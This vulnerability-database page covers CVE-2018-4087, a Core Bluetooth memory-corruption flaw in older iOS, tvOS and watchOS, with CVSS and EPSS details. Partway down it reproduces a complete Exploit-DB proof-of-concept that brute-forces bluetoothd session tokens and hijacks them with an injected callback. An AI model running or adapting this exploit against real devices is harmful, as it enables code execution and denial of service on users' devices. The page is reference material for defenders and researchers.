CVE-2018-4087 : Detail

CVE-2018-4087

7.8
/
HIGH
Overflow
0.44%V3
Local
2018-04-03 04:00 +00:00
2018-04-03 07:57 +00:00

Alert for a CVE

Stay informed of any changes for a specific CVE.
Alert management

Descriptions

An issue was discovered in certain Apple products. iOS before 11.2.5 is affected. tvOS before 11.2.5 is affected. watchOS before 4.2.2 is affected. The issue involves the "Core Bluetooth" component. It allows attackers to execute arbitrary code in a privileged context or cause a denial of service (memory corruption) via a crafted app.

Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metric Score Severity CVSS Vector Source
V3.0 7.8 HIGH CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

nvd@nist.gov
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 44215

Publication date : 2018-02-27 23:00 +00:00
Author : Zimperium zLabs Team
EDB Verified : Yes

// // main.m // bluetoothdPoC // // Created by Rani Idan. // Copyright © 2018 zLabs. All rights reserved. // #import "AppDelegate.h" #include extern kern_return_t bootstrap_look_up(mach_port_t bs, const char *service_name, mach_port_t *service); /* When hijacking session between bluetoothd and client, add callback to the client and jump to CALLBACK_ADDRESS with CALLBACK_ADDITIONAL_DATA */ #define CALLBACK_ADDRESS 0xdeadbeef #define CALLBACK_ADDITIONAL_DATA 0x13371337 #define BLUETOOTHD_CONST 0xFA300 #define BLUETOOTHD_WRONG_TOKEN 7 #define BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_RECV_SIZE 0x44 #define BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_SEND_SIZE 0x48 #define BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_OPTIONS 0x113 #define BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_MSG_ID 3 #define BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_TIMEOUT 0x1000 #define BLUETOOTHD_MIG_SERVER_NAME "com.apple.server.bluetooth" #define ADD_CALLBACK_MACH_MSG_OUT_RETURN_VALUE_OFFSET 0x20 #define ADD_CALLBACK_MACH_MSG_IN_SESSION_TOKEN_OFFSET 0x20 #define ADD_CALLBACK_MACH_MSG_IN_CALLBACK_ADDRESS_OFFSET 0x28 #define ADD_CALLBACK_MACH_MSG_IN_CALLBACK_DATA 0x40 typedef unsigned int mach_msg_return_value; mach_port_t get_service_port(char *service_name) { kern_return_t ret = KERN_SUCCESS; mach_port_t service_port = MACH_PORT_NULL; mach_port_t bs = MACH_PORT_NULL; ret = task_get_bootstrap_port(mach_task_self(), &bs); ret = bootstrap_look_up(bootstrap_port, service_name, &service_port); if (ret) { NSLog(@"Couldn't find port for %s",service_name); return MACH_PORT_NULL; } NSLog(@"Got port: %x", service_port); mach_port_deallocate(mach_task_self(), bs); return service_port; } mach_msg_return_value BTLocalDevice_add_callback(mach_port_t bluetoothd_port, mach_port_t session_token, void* callback_address, long additional_data) { mach_port_t receive_port = MACH_PORT_NULL; mach_msg_header_t * message = NULL; char *data = NULL; kern_return_t ret = KERN_SUCCESS; mach_msg_return_value return_value = 0; mach_msg_id_t msgh_id = BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_MSG_ID; mach_msg_size_t recv_size = BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_RECV_SIZE; mach_msg_size_t send_size = BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_SEND_SIZE; mach_msg_option_t options = BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_OPTIONS; mach_msg_size_t msg_size = MAX(recv_size, send_size); ret = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &receive_port); if ( ret != KERN_SUCCESS) { return_value = -3; NSLog(@"Failed to allocate port ret=%x", ret); NSLog(@"mach_error_string: mach_error_string %s", mach_error_string(ret)); goto cleanup; } ret = mach_port_insert_right(mach_task_self(), receive_port, receive_port, MACH_MSG_TYPE_MAKE_SEND); if ( ret != KERN_SUCCESS) { return_value = -3; NSLog(@"Failed to insert port right ret=%x", ret); NSLog(@"mach_error_string: mach_error_string %s", mach_error_string(ret)); goto cleanup; } message = malloc(msg_size); data = (char *)message; memset(message, 0, msg_size); *((mach_port_t *)(data+ADD_CALLBACK_MACH_MSG_IN_SESSION_TOKEN_OFFSET)) = session_token; *((void **)(data+ADD_CALLBACK_MACH_MSG_IN_CALLBACK_ADDRESS_OFFSET)) = callback_address; *((long *)(data+ADD_CALLBACK_MACH_MSG_IN_CALLBACK_DATA)) = additional_data; message->msgh_bits = 0x1513 ; message->msgh_remote_port = bluetoothd_port; /* Request port */ message->msgh_local_port = receive_port; /* Reply port */ message->msgh_size = send_size; /* Message size */ message->msgh_reserved = 0; message->msgh_id = BLUETOOTHD_CONST + msgh_id; ret = mach_msg(message, /* The header */ options, /* Flags */ send_size, /* Send size */ recv_size, /* Max receive Size */ receive_port, /* Receive port */ BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_TIMEOUT, /* No timeout */ MACH_PORT_NULL); /* No notification */ if(MACH_MSG_SUCCESS == ret) { return_value = *(mach_msg_return_value *) (((char *) message) + ADD_CALLBACK_MACH_MSG_OUT_RETURN_VALUE_OFFSET); if (return_value != BLUETOOTHD_WRONG_TOKEN) { NSLog(@"Sent message id %d with token %x, returned: %x", msgh_id, session_token, return_value); } } else if (MACH_RCV_INVALID_NAME == ret) { NSLog(@"mach_error_string: mach_error_string %s", mach_error_string(ret)); NSLog(@"mach_error_int: ret=%x", ret); NSLog(@"mach_remote_port: %x", message->msgh_remote_port); return_value = -2; } else { NSLog(@"mach_error_string: mach_error_string %s", mach_error_string(ret)); NSLog(@"mach_error_int: ret=%x", ret); NSLog(@"mach_remote_port: %x", message->msgh_remote_port); return_value = -1; } cleanup: if(MACH_PORT_NULL != receive_port) { mach_port_destroy(mach_task_self(), receive_port); } if (NULL != message) { free(message); } return return_value; } void try_to_add_callback_BTLocalDeviceAddCallbacks(void * address, long value) { int ports_found[0xffff] = {0}; int number_of_ports_found = 0; mach_port_t bluetoothd_port = get_service_port(BLUETOOTHD_MIG_SERVER_NAME); if (MACH_PORT_NULL == bluetoothd_port) { NSLog(@"Couldn't have bluetoothd port"); return; } NSLog(@"Starting to look for session tokens"); for (int i = 0; i <= 0xffff; i++) { int id = 0; id = (i << 16) + 1; int result_code = BTLocalDevice_add_callback(bluetoothd_port, id, NULL, 0); if(result_code != BLUETOOTHD_WRONG_TOKEN && result_code != -1) { NSLog(@"Found port: %x", id); ports_found[number_of_ports_found] = id; number_of_ports_found ++; } id = (i << 16) + 2; result_code = BTLocalDevice_add_callback(bluetoothd_port, id, NULL, 0); if(result_code != BLUETOOTHD_WRONG_TOKEN && result_code != -1) { NSLog(@"Found port: %x", id); ports_found[number_of_ports_found] = id; number_of_ports_found ++; } id = (i << 16); result_code = BTLocalDevice_add_callback(bluetoothd_port, id, NULL, 0); if(result_code != BLUETOOTHD_WRONG_TOKEN && result_code != -1) { NSLog(@"Found port: %x", id); ports_found[number_of_ports_found] = id; number_of_ports_found ++; } } for (int i = number_of_ports_found-1; i>=0; i--) { NSLog(@"Adding callback: Port=%x address=%x value=%x", ports_found[i], (unsigned int)address, (unsigned int)value); BTLocalDevice_add_callback(bluetoothd_port, ports_found[i],address, value); } NSLog(@"Done"); return; } void trigger() { try_to_add_callback_BTLocalDeviceAddCallbacks((void *)CALLBACK_ADDRESS, CALLBACK_ADDITIONAL_DATA); } int main(int argc, char * argv[]) { trigger(); }

Products Mentioned

Configuraton 0

Apple>>Apple_tv >> Version To (excluding) 11.2.5

Apple>>Iphone_os >> Version To (excluding) 11.2.5

Apple>>Watchos >> Version To (excluding) 4.2.2

References

https://support.apple.com/HT208462
Tags : x_refsource_CONFIRM
https://www.exploit-db.com/exploits/44215/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securitytracker.com/id/1040265
Tags : vdb-entry, x_refsource_SECTRACK
http://www.securityfocus.com/bid/102774
Tags : vdb-entry, x_refsource_BID
https://support.apple.com/HT208464
Tags : x_refsource_CONFIRM
https://support.apple.com/HT208463
Tags : x_refsource_CONFIRM
Click on the button to the left (OFF), to authorize the inscription of cookie improving the functionalities of the site. Click on the button to the left (Accept all), to unauthorize the inscription of cookie improving the functionalities of the site.